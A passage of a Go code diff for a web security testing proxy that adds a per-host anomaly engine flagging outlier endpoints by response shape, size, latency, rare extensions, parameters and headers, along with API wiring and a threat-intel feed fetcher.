if err != nil || u.Path == "" {
return raw
}
if u.RawQuery != "" {
return u.Path + "?" + u.RawQuery
}
return u.Path
}
+280
View File
@@ -0,0 +1,280 @@
// Package anomaly finds endpoints that don't look like anything else on their
// host — the lone JSON handler in an HTML app, a single 200 among 403s, an
// unusually large or slow response, a rare extension or parameter, an endpoint
// exposing a framework header the rest of the host does not. It is a triage aid
// that points attention at what to pursue, not a vulnerability claim.
//
// It is a separate package from internal/detect on purpose. The detect engine's
// three load-bearing properties — it judges one message at a time, its analyzers
// hold no state, and its Upsert keying makes rescans byte-for-byte idempotent —
// are exactly what an outlier question cannot honor. "Is this endpoint unlike
// its siblings?" is answered against a per-host baseline: shared, mutable state
// whose verdict depends on how much traffic has been seen. Computing it inside
// the detect engine would break the fan-out and the idempotent rescan both.
//
// So the computation lives here and only the *results* land in detect: this
// package mints detect.Findings under CategoryAnomaly through detect.FindingID
// and detect.Store.Upsert — the same path internal/capreg uses for agent-reported
// findings — which gives the anomaly findings the Detect table, triage,
// project persistence, the dashboard widget, triggers and webhooks for free.
//
// The engine runs on its own interval (not the proxy request path), maintains an
// incremental per-capture record cache keyed by sequence number, rebuilds
// baselines each cycle, upserts the current outliers, and retracts findings that
// are no longer outliers — but never a finding the operator has triaged (marked
// a false positive or noted), mirroring how detect's own purge preserves those.
package anomaly
import (
"context"
"strings"
"sync"
"time"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/proxy"
)
// cycleInterval is how often baselines are rebuilt. Longer than detect's live
// tick because this is a whole-host recompute, not a per-capture scan.
const cycleInterval = 20 * time.Second
// batchSize bounds one SinceSeq pull during intake.
const batchSize = 500
// Engine owns the record cache and the set of anomaly findings it manages.
type Engine struct {
store *proxy.Store
scope *proxy.Scope
findings *detect.Store
config func() detect.Config
broadcast chan<- any
notify func() // called after a cycle changes the store, to push detect.summary
mu sync.Mutex
records map[int]*record
cursor int
// managed maps a finding ID this engine owns to the signature (severity +
// evidence) last emitted for it, so a cycle re-emits only what changed and
// knows exactly which findings to reconcile.
managed map[string]string
}
// NewEngine constructs the engine. config is read every cycle so a live toggle
// or sensitivity change takes effect without a restart; notify pushes the
// aggregate detect.summary (it needs the detect engine's rule-enabled predicate,
// which lives in the API layer).
func NewEngine(store *proxy.Store, scope *proxy.Scope, findings *detect.Store, config func() detect.Config, broadcast chan<- any, notify func()) *Engine {
return &Engine{
store: store,
scope: scope,
findings: findings,
config: config,
broadcast: broadcast,
notify: notify,
records: map[int]*record{},
managed: map[string]string{},
}
}
// Run rebuilds baselines on an interval until ctx is cancelled, mirroring the
// detect scanner's loop.
func (e *Engine) Run(ctx context.Context) {
t := time.NewTicker(cycleInterval)
defer t.Stop()
for {
select {
case <-ctx.Done():
return
case <-t.C:
e.RunCycle()
}
}
}
// ResetCursor is called wherever proxy.Store rewrites its sequence numbering
// (Clear zeroes it, a project load rewrites it), the same obligation the detect
// scanner's cursor has. It drops the record cache: a rewrite invalidates the
// seq keys the cache is built on.
func (e *Engine) ResetCursor(seq int) {
e.mu.Lock()
defer e.mu.Unlock()
e.cursor = seq
e.records = map[int]*record{}
}
// RunCycle performs one intake-and-analyze pass. Exported so a test or a manual
// trigger can drive it without the ticker.
func (e *Engine) RunCycle() {
cfg := e.config()
if !cfg.AnomalyEnabled {
e.retractAll()
return
}
e.intake()
e.analyze(cfg)
}
// intake fingerprints captures newer than the cursor into the record cache and
// drops records whose sequence numbers have been evicted from the store.
func (e *Engine) intake() {
e.mu.Lock()
defer e.mu.Unlock()
if e.store.Count() == 0 {
e.records = map[int]*record{}
return
}
if oldest := e.store.SinceSeq(0, 1); len(oldest) == 1 {
minSeq := oldest[0].Seq
for seq := range e.records {
if seq < minSeq {
delete(e.records, seq)
}
}
}
for {
batch := e.store.SinceSeq(e.cursor, batchSize)
if len(batch) == 0 {
break
}
for _, cr := range batch {
if cr.Seq > e.cursor {
e.cursor = cr.Seq
}
if r := buildRecord(cr); r != nil {
e.records[r.seq] = r
}
}
if len(batch) < batchSize {
break
}
}
}
// analyze groups the cached records by host, runs the signals, and commits.
func (e *Engine) analyze(cfg detect.Config) {
e.mu.Lock()
recs := make([]*record, 0, len(e.records))
for _, r := range e.records {
recs = append(recs, r)
}
prev := e.managed
e.mu.Unlock()
th := thresholdsFor(cfg.AnomalySensitivity)
byHost := map[string][]*record{}
for _, r := range recs {
if cfg.ScopeOnly && !e.scope.InScope(r.host, r.method, r.rawPath) {
continue
}
if hostExcluded(r.host, cfg.ExcludeHosts) {
continue
}
byHost[r.host] = append(byHost[r.host], r)
}
var cands []detect.Finding
for host, hr := range byHost {
cands = append(cands, analyzeHost(host, hr, th)...)
}
e.commit(cands, prev)
}
// commit upserts the current outliers, emits what is new or changed, and retracts
// managed findings no longer present unless the operator has triaged them.
func (e *Engine) commit(cands []detect.Finding, prev map[string]string) {
next := make(map[string]string, len(cands))
changed := false
for _, f := range cands {
sig := string(f.Severity) + "|" + f.Evidence
next[f.ID] = sig
// Unchanged since last cycle: leave the store untouched. Every Upsert
// bumps the findings-store revision, which detectSignature folds into the
// autosave fingerprint, so re-writing a steady finding each cycle would
// force a project save every 20s for no reason.
if prev[f.ID] == sig {
continue
}
stored, isNew := e.findings.Upsert(f)
if isNew {
changed = true
}
e.emit(*stored, isNew)
}
for id := range prev {
if _, still := next[id]; still {
continue
}
f, ok := e.findings.Get(id)
if !ok {
continue
}
if f.FalsePositive || strings.TrimSpace(f.Notes) != "" {
continue // keep triaged findings; stop managing them
}
if e.findings.Delete(id) {
changed = true
}
}
e.mu.Lock()
e.managed = next
e.mu.Unlock()
if changed && e.notify != nil {
e.notify()
}
}
// retractAll drops every managed finding (except triaged ones) when the feature
// is turned off. The record cache is kept so a re-enable is cheap.
func (e *Engine) retractAll() {
e.mu.Lock()
prev := e.managed
e.managed = map[string]string{}
e.mu.Unlock()
if len(prev) == 0 {
return
}
changed := false
for id := range prev {
f, ok := e.findings.Get(id)
if !ok {
continue
}
if f.FalsePositive || strings.TrimSpace(f.Notes) != "" {
continue
}
if e.findings.Delete(id) {
changed = true
}
}
if changed && e.notify != nil {
e.notify()
}
}
func (e *Engine) emit(f detect.Finding, isNew bool) {
if e.broadcast == nil {
return
}
select {
case e.broadcast <- event.WSEvent{
Type: "detect.finding",
Data: map[string]any{"finding": f, "isNew": isNew},
}:
default:
}
}
// hostExcluded mirrors the detect engine's substring host exclusion.
func hostExcluded(host string, exclude []string) bool {
for _, ex := range exclude {
if ex != "" && strings.Contains(host, ex) {
return true
}
}
return false
}
+95
View File
@@ -0,0 +1,95 @@
package anomaly
import (
"regexp"
"strings"
)
var (
numSegRe = regexp.MustCompile(`^\d+$`)
uuidSegRe = regexp.MustCompile(`(?i)^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$`)
hexSegRe = regexp.MustCompile(`(?i)^[0-9a-f]{16,}$`)
opaqueRe = regexp.MustCompile(`^[A-Za-z0-9_\-]+$`)
digitRe = regexp.MustCompile(`\d`)
)
// normalizePath folds volatile path segments to {id} so that /users/1 and
// /users/2 collapse to a single endpoint. Without it every record with an
// embedded identifier is its own endpoint and no per-endpoint baseline forms.
func normalizePath(p string) string {
if p == "" || p == "/" {
return "/"
}
segs := strings.Split(p, "/")
for i, s := range segs {
if s == "" {
continue
}
segs[i] = normalizeSeg(s)
}
return strings.Join(segs, "/")
}
func normalizeSeg(s string) string {
switch {
case numSegRe.MatchString(s):
return "{id}"
case uuidSegRe.MatchString(s):
return "{id}"
case hexSegRe.MatchString(s):
return "{id}"
case len(s) >= 24 && opaqueRe.MatchString(s) && digitRe.MatchString(s):
// A long token carrying both letters and digits: a session id, a signed
// value, a slug with an embedded id. Opaque enough to template.
return "{id}"
}
return s
}
// pathExt returns the lowercase file extension of the last path segment, or ""
// when there is none. It reads the raw path, not the templated one, so a
// templated trailing segment ({id}) yields no extension.
func pathExt(p string) string {
if p == "" {
return ""
}
seg := p
if i := strings.LastIndexByte(p, '/'); i >= 0 {
seg = p[i+1:]
}
dot := strings.LastIndexByte(seg, '.')
if dot <= 0 || dot == len(seg)-1 {
return ""
}
ext := strings.ToLower(seg[dot+1:])
if len(ext) > 8 || !opaqueRe.MatchString(ext) {
return ""
}
return ext
}
// majorCT strips parameters from a Content-Type, leaving "type/subtype".
func majorCT(ct string) string {
ct = strings.ToLower(strings.TrimSpace(ct))
if i := strings.IndexByte(ct, ';'); i >= 0 {
ct = strings.TrimSpace(ct[:i])
}
return ct
}
// statusClass maps a status code to its hundreds band (2, 3, 4, 5), or 0.
func statusClass(code int) int {
if code < 100 || code >= 600 {
return 0
}
return code / 100
}
// commonWebExt are extensions ordinary enough that their rarity on a host is not
// interesting. A rare extension outside this set (.bak, .sql, .old, .zip) is.
var commonWebExt = map[string]struct{}{
"html": {}, "htm": {}, "php": {}, "asp": {}, "aspx": {}, "jsp": {},
"js": {}, "css": {}, "json": {}, "xml": {}, "txt": {}, "svg": {},
"png": {}, "jpg": {}, "jpeg": {}, "gif": {}, "webp": {}, "ico": {},
"woff": {}, "woff2": {}, "ttf": {}, "map": {},
}
+161
View File
@@ -0,0 +1,161 @@
package anomaly
import (
"bytes"
"net/url"
"sort"
"strings"
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/proxy"
)
// record is the light, immutable per-capture summary the baselines are built
// from. One is computed per captured request the first time its sequence number
// is seen, then cached — response fingerprinting is the expensive step and a
// capture never changes after it is stored.
type record struct {
seq int
host string
method string
rawPath string
norm string // templated path (the endpoint key component)
url string // full URL of this capture, for the representative request
reqID string
ts int64 // unix nanos of capture, for picking the most recent
statusClass int
majorCT string
size int
durMs int64
hasDur bool
params []string // sorted query parameter names
ext string
tech string // X-Powered-By if present, else Server token
authScheme string // first token of WWW-Authenticate, lowercased
cookieNames []string // Set-Cookie names on this response
}
// buildRecord summarizes one capture, or returns nil for a capture that must not
// enter a baseline: WebSocket upgrades (101) and the synthetic 502 the proxy
// stores for an upstream dial failure, both of which would distort a host's
// status and shape distributions.
func buildRecord(cr *proxy.CapturedRequest) *record {
if cr.Host == "" {
return nil
}
if cr.StatusCode == 101 {
return nil
}
if cr.StatusCode == 502 && isUpstreamError(cr.RespRaw) {
return nil
}
durMs := cr.Duration.Milliseconds()
fp := httptools.FingerprintResponse(cr.Seq, cr.RespRaw, durMs, false)
status := fp.Status
if status == 0 {
status = cr.StatusCode
}
ct := fp.CT
if ct == "" {
ct = cr.ContentType
}
var rawPath string
var params []string
if u, err := url.Parse(cr.URL); err == nil {
rawPath = u.Path
for k := range u.Query() {
params = append(params, k)
}
sort.Strings(params)
}
tech, authScheme, cookies := parseRespHeaders(cr.RespRaw)
if tech == "" {
tech = fp.Server
}
return &record{
seq: cr.Seq,
host: cr.Host,
method: strings.ToUpper(cr.Method),
rawPath: rawPath,
norm: normalizePath(rawPath),
url: cr.URL,
reqID: cr.ID,
ts: cr.Timestamp.UnixNano(),
statusClass: statusClass(status),
majorCT: majorCT(ct),
size: fp.Len,
durMs: durMs,
hasDur: durMs > 0,
params: params,
ext: pathExt(rawPath),
tech: strings.ToLower(tech),
authScheme: authScheme,
cookieNames: cookies,
}
}
// isUpstreamError matches the body buildUpstreamErrorCapture writes for a failed
// upstream dial. Kept in sync with that helper by shape, not import.
func isUpstreamError(raw []byte) bool {
i := bytes.Index(raw, []byte("\r\n\r\n"))
if i < 0 {
return false
}
return bytes.HasPrefix(bytes.TrimLeft(raw[i+4:], " \t\r\n"), []byte("upstream error:"))
}
// parseRespHeaders pulls the few headers the tech and header/auth signals need
// out of a raw response, without a full HTTP parse: the framework token
// (X-Powered-By, else the Server product), the auth scheme, and Set-Cookie
// names.
func parseRespHeaders(raw []byte) (tech, authScheme string, cookies []string) {
end := bytes.Index(raw, []byte("\r\n\r\n"))
if end < 0 {
end = len(raw)
}
var server string
for _, line := range bytes.Split(raw[:end], []byte("\r\n")) {
c := bytes.IndexByte(line, ':')
if c <= 0 {
continue
}
name := strings.ToLower(strings.TrimSpace(string(line[:c])))
val := strings.TrimSpace(string(line[c+1:]))
switch name {
case "x-powered-by":
if tech == "" {
tech = firstToken(val)
}
case "server":
server = firstToken(val)
case "www-authenticate":
if authScheme == "" {
authScheme = strings.ToLower(firstToken(val))
}
case "set-cookie":
if eq := strings.IndexByte(val, '='); eq > 0 {
cookies = append(cookies, strings.TrimSpace(val[:eq]))
}
}
}
if tech == "" {
tech = server
}
return tech, authScheme, cookies
}
// firstToken returns the value up to the first space, tab, or semicolon, so
// "Apache/2.4.7 (Ubuntu)" becomes "Apache/2.4.7".
func firstToken(s string) string {
if i := strings.IndexAny(s, " \t;,"); i > 0 {
return s[:i]
}
return s
}
+376
View File
@@ -0,0 +1,376 @@
package anomaly
import (
"fmt"
"sort"
"strings"
"time"
"github.com/BishopFox/joro/internal/detect"
)
// Signal rule IDs. Each is a stable synthetic RuleID so a finding's identity
// (FindingID(ruleID, host, endpointKey)) is deterministic and dedups across
// cycles. They are not engine rules; handleGetFinding returns rule:null for
// them and the UI reads Detail instead.
const (
ruleShape = "anomaly.shape"
ruleSize = "anomaly.size"
ruleLatency = "anomaly.latency"
ruleStructure = "anomaly.structure"
ruleHeader = "anomaly.header"
)
var ruleNames = map[string]string{
ruleShape: "Response-shape outlier",
ruleSize: "Response-size outlier",
ruleLatency: "Latency outlier",
ruleStructure: "Structural outlier",
ruleHeader: "Header / tech outlier",
}
// thresholds tune how stark an outlier must be to report. Sensitivity selects a
// set; see thresholdsFor.
type thresholds struct {
minEndpoints int // host needs at least this many endpoints for any signal
minMetric int // endpoints with a numeric metric before size/latency run
rareFrac float64 // a category on fewer than this fraction of endpoints is rare
dominateFrac float64 // the modal category must cover at least this to call others out
zThresh float64 // robust-z magnitude to flag a size/latency outlier
}
func thresholdsFor(sens string) thresholds {
switch sens {
case "low":
return thresholds{minEndpoints: 12, minMetric: 12, rareFrac: 0.05, dominateFrac: 0.75, zThresh: 4.5}
case "high":
return thresholds{minEndpoints: 5, minMetric: 6, rareFrac: 0.15, dominateFrac: 0.55, zThresh: 3.0}
default: // medium
return thresholds{minEndpoints: 8, minMetric: 8, rareFrac: 0.10, dominateFrac: 0.65, zThresh: 3.5}
}
}
// endpoint aggregates the records that share one host+method+templated-path.
type endpoint struct {
key string // "METHOD /norm/path" — the finding's group dimension
host string
method string
norm string
n int
repTS int64
repReqID string
repURL string
repMeth string
ctCount map[string]int
statusCount map[int]int
sizes []float64
durs []float64
params map[string]struct{}
ext string
techCount map[string]int
authCount map[string]int
}
func (ep *endpoint) add(r *record) {
ep.n++
if r.ts >= ep.repTS {
ep.repTS = r.ts
ep.repReqID = r.reqID
ep.repURL = r.url
ep.repMeth = r.method
}
if r.majorCT != "" {
ep.ctCount[r.majorCT]++
}
if r.statusClass != 0 {
ep.statusCount[r.statusClass]++
}
ep.sizes = append(ep.sizes, float64(r.size))
if r.hasDur {
ep.durs = append(ep.durs, float64(r.durMs))
}
for _, p := range r.params {
ep.params[p] = struct{}{}
}
if r.ext != "" {
ep.ext = r.ext
}
if r.tech != "" {
ep.techCount[r.tech]++
}
if r.authScheme != "" {
ep.authCount[r.authScheme]++
}
}
func (ep *endpoint) modalCT() string { s, _ := modalStr(ep.ctCount); return s }
func (ep *endpoint) modalStatus() int { s, _ := modalInt(ep.statusCount); return s }
func (ep *endpoint) modalTech() string { s, _ := modalStr(ep.techCount); return s }
func (ep *endpoint) modalAuth() string { s, _ := modalStr(ep.authCount); return s }
func (ep *endpoint) medianSize() float64 { return median(ep.sizes) }
func (ep *endpoint) medianDur() float64 { return median(ep.durs) }
// analyzeHost groups a host's records into endpoints and runs every signal,
// returning the anomaly findings for that host. Below the endpoint floor it
// returns nothing: with too few endpoints, everything looks like an outlier.
func analyzeHost(host string, recs []*record, th thresholds) []detect.Finding {
byKey := map[string]*endpoint{}
for _, r := range recs {
key := r.method + " " + r.norm
ep := byKey[key]
if ep == nil {
ep = &endpoint{
key: key, host: host, method: r.method, norm: r.norm,
ctCount: map[string]int{}, statusCount: map[int]int{},
params: map[string]struct{}{}, techCount: map[string]int{},
authCount: map[string]int{},
}
byKey[key] = ep
}
ep.add(r)
}
eps := make([]*endpoint, 0, len(byKey))
for _, ep := range byKey {
eps = append(eps, ep)
}
if len(eps) < th.minEndpoints {
return nil
}
// Deterministic order so findings emit stably.
sort.Slice(eps, func(i, j int) bool { return eps[i].key < eps[j].key })
// reasons accumulates one detail string per (ruleID, endpoint) so, e.g., a
// shape outlier tripping on both content-type and status is one finding.
type fkey struct {
rule string
ep *endpoint
}
reasons := map[fkey][]string{}
strong := map[fkey]bool{}
add := func(rule string, ep *endpoint, isStrong bool, msg string) {
k := fkey{rule, ep}
reasons[k] = append(reasons[k], msg)
if isStrong {
strong[k] = true
}
}
shapeSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleShape, ep, s, msg) })
sizeSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleSize, ep, s, msg) })
latencySignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleLatency, ep, s, msg) })
structureSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleStructure, ep, s, msg) })
headerSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleHeader, ep, s, msg) })
out := make([]detect.Finding, 0, len(reasons))
for k, msgs := range reasons {
sev := detect.SeverityInfo
conf := detect.ConfidenceLow
if strong[k] {
sev = detect.SeverityLow
conf = detect.ConfidenceMedium
}
out = append(out, k.ep.finding(k.rule, strings.Join(msgs, "; "), sev, conf))
}
return out
}
// shapeSignal flags an endpoint whose modal content-type or status class differs
// from a host that is otherwise dominated by one value.
func shapeSignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
n := len(eps)
ctFreq := map[string]int{}
stFreq := map[int]int{}
for _, ep := range eps {
if ct := ep.modalCT(); ct != "" {
ctFreq[ct]++
}
if st := ep.modalStatus(); st != 0 {
stFreq[st]++
}
}
domCT, domCTn := modalStr(ctFreq)
domST, domSTn := modalInt(stFreq)
ctDominates := domCT != "" && float64(domCTn)/float64(n) >= th.dominateFrac
stDominates := domST != 0 && float64(domSTn)/float64(n) >= th.dominateFrac
for _, ep := range eps {
ct := ep.modalCT()
if ctDominates && ct != "" && ct != domCT && frac(ctFreq[ct], n) < th.rareFrac {
strong := ctFreq[ct] == 1
emit(ep, strong, fmt.Sprintf("content-type %s; host is mostly %s (%d/%d endpoints)", ct, domCT, ctFreq[ct], n))
}
st := ep.modalStatus()
if stDominates && st != 0 && st != domST && frac(stFreq[st], n) < th.rareFrac {
strong := stFreq[st] == 1
emit(ep, strong, fmt.Sprintf("status %dxx; host is mostly %dxx (%d/%d endpoints)", st, domST, stFreq[st], n))
}
}
}
// sizeSignal flags an endpoint whose median response size is a robust-z outlier
// among the host's per-endpoint medians.
func sizeSignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
var meds []float64
var have []*endpoint
for _, ep := range eps {
if len(ep.sizes) == 0 {
continue
}
meds = append(meds, ep.medianSize())
have = append(have, ep)
}
if len(have) < th.minMetric {
return
}
med := median(meds)
spread := mad(meds, med)
for i, ep := range have {
z := robustZ(meds[i], med, spread)
if z >= th.zThresh {
emit(ep, z >= th.zThresh*1.7, fmt.Sprintf("response size %s bytes; host median %s (z=%.1f)",
commas(int64(meds[i])), commas(int64(med)), z))
}
}
}
// latencySignal is sizeSignal for response duration.
func latencySignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
var meds []float64
var have []*endpoint
for _, ep := range eps {
if len(ep.durs) == 0 {
continue
}
meds = append(meds, ep.medianDur())
have = append(have, ep)
}
if len(have) < th.minMetric {
return
}
med := median(meds)
spread := mad(meds, med)
for i, ep := range have {
z := robustZ(meds[i], med, spread)
// Only slow outliers are interesting; a fast endpoint is not a lead.
if z >= th.zThresh && meds[i] > med {
emit(ep, z >= th.zThresh*1.7, fmt.Sprintf("median latency %dms; host median %dms (z=%.1f)",
int64(meds[i]), int64(med), z))
}
}
}
// structureSignal flags a rare non-asset extension or a parameter name unique to
// one endpoint on the host.
func structureSignal(eps []*endpoint, _ thresholds, emit func(*endpoint, bool, string)) {
extFreq := map[string]int{}
paramFreq := map[string]int{}
for _, ep := range eps {
if ep.ext != "" {
extFreq[ep.ext]++
}
for p := range ep.params {
paramFreq[p]++
}
}
for _, ep := range eps {
if ep.ext != "" {
_, common := commonWebExt[ep.ext]
if !common && extFreq[ep.ext] == 1 {
emit(ep, true, fmt.Sprintf("extension .%s appears on no other endpoint", ep.ext))
}
}
var uniq []string
for p := range ep.params {
if paramFreq[p] == 1 {
uniq = append(uniq, p)
}
}
if len(uniq) > 0 {
sort.Strings(uniq)
emit(ep, false, fmt.Sprintf("parameter(s) %s used by no other endpoint", strings.Join(uniq, ", ")))
}
}
}
// headerSignal flags an endpoint exposing a framework/server token or auth scheme
// rare for the host.
func headerSignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
n := len(eps)
techFreq := map[string]int{}
authFreq := map[string]int{}
for _, ep := range eps {
if t := ep.modalTech(); t != "" {
techFreq[t]++
}
if a := ep.modalAuth(); a != "" {
authFreq[a]++
}
}
domTech, domTechN := modalStr(techFreq)
techDominates := domTech != "" && float64(domTechN)/float64(n) >= th.dominateFrac
for _, ep := range eps {
t := ep.modalTech()
if techDominates && t != "" && t != domTech && frac(techFreq[t], n) < th.rareFrac {
emit(ep, techFreq[t] == 1, fmt.Sprintf("tech %q; rest of host is %q (%d/%d)", t, domTech, techFreq[t], n))
}
a := ep.modalAuth()
if a != "" && frac(authFreq[a], n) < th.rareFrac {
emit(ep, authFreq[a] == 1, fmt.Sprintf("auth scheme %q is rare on this host (%d/%d)", a, authFreq[a], n))
}
}
}
// finding assembles a detect.Finding pointing at the endpoint's most recent
// capture, so the operator's row actions (Send to Fuzz, Copy as curl) work. It
// carries no occurrences: the representative moves each cycle and an occurrence
// per move would inflate Count without meaning.
func (ep *endpoint) finding(ruleID, detail string, sev detect.Severity, conf detect.Confidence) detect.Finding {
now := time.Now()
return detect.Finding{
ID: detect.FindingID(ruleID, ep.host, ep.key),
RuleID: ruleID,
RuleName: ruleNames[ruleID],
Category: detect.CategoryAnomaly,
Severity: sev,
Confidence: conf,
Target: detect.TargetMessage,
Host: ep.host,
Method: ep.repMeth,
URL: ep.repURL,
RequestID: ep.repReqID,
Detail: ep.key,
Evidence: detail,
EvidenceOffset: -1,
FirstSeen: now,
LastSeen: now,
}
}
func frac(count, total int) float64 {
if total == 0 {
return 0
}
return float64(count) / float64(total)
}
// commas formats an integer with thousands separators for readable evidence.
func commas(n int64) string {
s := fmt.Sprintf("%d", n)
neg := strings.HasPrefix(s, "-")
if neg {
s = s[1:]
}
var b strings.Builder
for i, c := range s {
if i > 0 && (len(s)-i)%3 == 0 {
b.WriteByte(',')
}
b.WriteRune(c)
}
if neg {
return "-" + b.String()
}
return b.String()
}
+81
View File
@@ -0,0 +1,81 @@
package anomaly
import "sort"
// median returns the median of xs. It sorts a copy, so the caller's slice is
// untouched. An empty slice returns 0.
func median(xs []float64) float64 {
n := len(xs)
if n == 0 {
return 0
}
c := make([]float64, n)
copy(c, xs)
sort.Float64s(c)
if n%2 == 1 {
return c[n/2]
}
return (c[n/2-1] + c[n/2]) / 2
}
// mad is the median absolute deviation from med — a spread measure that, unlike
// the standard deviation, is not itself dragged toward the outliers this package
// hunts for.
func mad(xs []float64, med float64) float64 {
if len(xs) == 0 {
return 0
}
dev := make([]float64, len(xs))
for i, x := range xs {
d := x - med
if d < 0 {
d = -d
}
dev[i] = d
}
return median(dev)
}
// robustZ is the MAD-based z-score. 0.6745 rescales the MAD to a standard-
// deviation-equivalent for normal data, so a threshold of ~3.5 has the usual
// reading. Returns 0 when the spread is degenerate (every value identical),
// which correctly flags nothing.
func robustZ(x, med, madv float64) float64 {
if madv <= 0 {
return 0
}
z := 0.6745 * (x - med) / madv
if z < 0 {
z = -z
}
return z
}
// modalStr returns the most frequent key in m and its count, ties broken by the
// lexically smaller key so the result is stable across runs.
func modalStr(m map[string]int) (string, int) {
best := ""
bestN := 0
for k, v := range m {
if v > bestN || (v == bestN && k < best) {
best = k
bestN = v
}
}
return best, bestN
}
// modalInt is modalStr for integer keys.
func modalInt(m map[int]int) (int, int) {
best := 0
bestN := 0
first := true
for k, v := range m {
if first || v > bestN || (v == bestN && k < best) {
best = k
bestN = v
first = false
}
}
return best, bestN
}
+14
View File
@@ -0,0 +1,14 @@
package api
import "context"
// StartAnomalyLoop launches the per-host anomaly engine in the background,
// mirroring StartDetectLoop. It runs whether or not the feature is enabled; the
// engine cheaply no-ops each cycle while detect.Config.AnomalyEnabled is off, so
// a live toggle needs no restart.
func (s *APIServer) StartAnomalyLoop(ctx context.Context) {
if s.anomalyEngine == nil {
return
}
go s.anomalyEngine.Run(ctx)
}
+42
View File
@@ -31,6 +31,29 @@ func (s *APIServer) detectBackgroundCtx() context.Context {
// proxy.Store rewrites its sequence numbering (Clear zeroes nextSeq, LoadItems
// rewrites it); a stale high cursor stops detection for the session.
func (s *APIServer) resetDetectCursor(seq int) {
// The anomaly engine's record cache is keyed on the same sequence numbering,
// so it must reset wherever detection's cursor does.
if s.anomalyEngine != nil {
s.anomalyEngine.ResetCursor(seq)
}
// Reflection mapping walks the same sequence numbering, so it resets here
// too: this one function is what every reset path calls.
if s.echoEngine != nil {
s.echoEngine.ResetCursor(seq)
if seq == 0 && s.echoStore != nil {
s.echoStore.Clear()
}
}
// Technology fingerprinting walks the same sequence numbering, so it resets
// here too; at seq 0 ResetCursor also clears its derived host map.
if s.techEngine != nil {
s.techEngine.ResetCursor(seq)
}
// The OAST confirmer forward-scans the same sequence numbering and drops its
// harvested hash set on reset, so it resets here too.
if s.oastEngine != nil {
s.oastEngine.ResetCursor(seq)
}
if s.detectScanner == nil {
return
}
@@ -48,3 +71,22 @@ func (s *APIServer) clearDetectFindingsWithHistory() {
s.broadcastDetectSummary()
}
}
// StartEchoLoop launches the reflection mapper. It runs unconditionally and
// no-ops per tick while disabled, so a live toggle needs no restart.
func (s *APIServer) StartEchoLoop(ctx context.Context) {
if s.echoEngine == nil {
return
}
go s.echoEngine.Run(ctx)
}
// StartTechLoop launches the passive technology fingerprinter. Like the echo
// loop it runs unconditionally and no-ops per tick while disabled; it compiles
// the embedded Wappalyzer database on its own goroutine, off the boot path.
func (s *APIServer) StartTechLoop(ctx context.Context) {
if s.techEngine == nil {
return
}
go s.techEngine.Run(ctx)
}
+4
View File
@@ -39,6 +39,8 @@ func (s *APIServer) detectStateForProject() (
SkipContentTypes: c.SkipContentTypes,
SkipExtensions: c.SkipExtensions,
ExcludeHosts: c.ExcludeHosts,
AnomalyEnabled: c.AnomalyEnabled,
AnomalySensitivity: c.AnomalySensitivity,
}
// Sorted so a project file is stable across saves and diffs cleanly.
@@ -150,6 +152,8 @@ func (s *APIServer) applyDetectProjectConfig(cfg *projectConfigFile) map[string]
SkipContentTypes: p.SkipContentTypes,
SkipExtensions: p.SkipExtensions,
ExcludeHosts: p.ExcludeHosts,
AnomalyEnabled: p.AnomalyEnabled,
AnomalySensitivity: p.AnomalySensitivity,
}
}
s.detectEngine.SetConfig(dc)
+163
View File
@@ -0,0 +1,163 @@
package api
import (
"context"
"fmt"
"io"
"log"
"net/http"
"time"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/feeds"
"github.com/BishopFox/joro/internal/proxy"
)
// Bringing the threat-intel feed aggregator up.
//
// Like the webhook feature, it is independent of automation and built in New rather than in
// SetAutomation — an operator wanting CVE and KEV intel on their dashboard should not have to
// arm an agent. The only switches are --no-feeds (removes it) and the off-by-default Settings
// toggle (fetches nothing until armed). internal/feeds imports nothing from this package; the
// outbound client is injected here as feedsFetch, the one place internal/proxy is reached.
// initFeeds opens feeds.json and builds the aggregator over the curated source set.
//
// A failure is non-fatal and disables the feature rather than the proxy, the same way an
// unreadable webhooks.json does, and is logged loudly so a silently absent store does not look
// like the operator's settings vanished.
func (s *APIServer) initFeeds() {
if s.listenerMode || s.cfg.NoFeeds {
return
}
store, err := feeds.NewSettingsStore(s.cfg.DataDir)
if err != nil {
log.Printf("[feeds] threat-intel feeds are disabled this run: %v", err)
return
}
s.feedsStore = store
s.feeds = feeds.NewAggregator(feeds.DefaultSources(), s.feedsFetch)
}
// feedsFetch is the injected FetchFunc: a verified-TLS (insecure=false), no-redirect GET with
// a request timeout and a bounded read. NewOutboundHTTPClient rather than NewHTTPClient because
// NVD/CISA/ExploitDB/FIRST.org are public infrastructure to be authenticated, not MITM targets.
//
// Direct egress by default: feed traffic is incidental intel, not engagement traffic, so it
// should not consume or reveal the operator's SOCKS tunnel. Passing a nil TransportConfig
// leaves DialContext unset (a direct dial); only when the operator opts in via RouteThroughSocks
// is s.transport passed, which honors SOCKS when one is configured. Built per fetch and closed,
// because the transport snapshots the dialer at build time and has no idle timeout.
func (s *APIServer) feedsFetch(ctx context.Context, rawURL string, limitBytes int64) ([]byte, error) {
var tc *proxy.TransportConfig
if s.feedsStore != nil && s.feedsStore.Get().RouteThroughSocks {
tc = s.transport
}
client := proxy.NewOutboundHTTPClient(tc, false)
defer client.CloseIdleConnections()
ctx, cancel := context.WithTimeout(ctx, 30*time.Second)
defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
if err != nil {
return nil, err
}
req.Header.Set("Accept", "application/json, application/atom+xml, application/rss+xml, application/xml;q=0.9, */*;q=0.1")
req.Header.Set("User-Agent", "Joro/"+s.buildInfo.Version)
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
